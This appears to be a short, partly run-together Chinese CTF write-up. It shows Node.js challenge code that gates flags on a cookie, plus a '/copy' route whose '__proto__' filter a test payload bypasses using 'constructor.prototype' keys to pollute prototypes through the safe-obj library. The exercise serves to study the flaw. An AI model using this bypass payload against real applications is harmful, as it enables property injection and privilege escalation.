functionFlag1Controller(req,res){ try { if(req.cookies.user === SECRET_COOKIE){ res.setHeader("This_Is_The_Flag1",flag1.toString().trim()) res.setHeader("This_Is_The_Flag2",flag2.toString().trim()) res.status(200).type("text/html").send("Login success. Welcome,admin!") } if(req.cookies.user === "admin") { res.setHeader("This_Is_The_Flag1", flag1.toString().trim()) res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!") }else{ res.status(401).type("text/html").send("Unauthorized") } }catch (__) {} }
router.post('/copy',(req,res)=>{ res.setHeader('Content-type','text/html;charset=utf-8') var ip = req.connection.remoteAddress; console.log(ip); var obj = { msg: '', } if (!ip.includes('127.0.0.1')) { obj.msg="only for admin" res.send(JSON.stringify(obj)); return } let user = {}; for (let index in req.body) { if(!index.includes("__proto__")){ safeobj.expand(user, index, req.body[index]) } } res.render('index'); })
注意到这个safeobj,存在原型链污染
测试
const safeobj = require('safe-obj'); //var payload = `{"__proto__":{"whoami":"root"}}` var payload = `{"constructor.prototype.whoami" :"root"}` let user = {}; console.log("Before whoami:" + user.whoami);
for (let index inJSON.parse(payload)) { safeobj.expand(user, index, JSON.parse(payload)[index]) }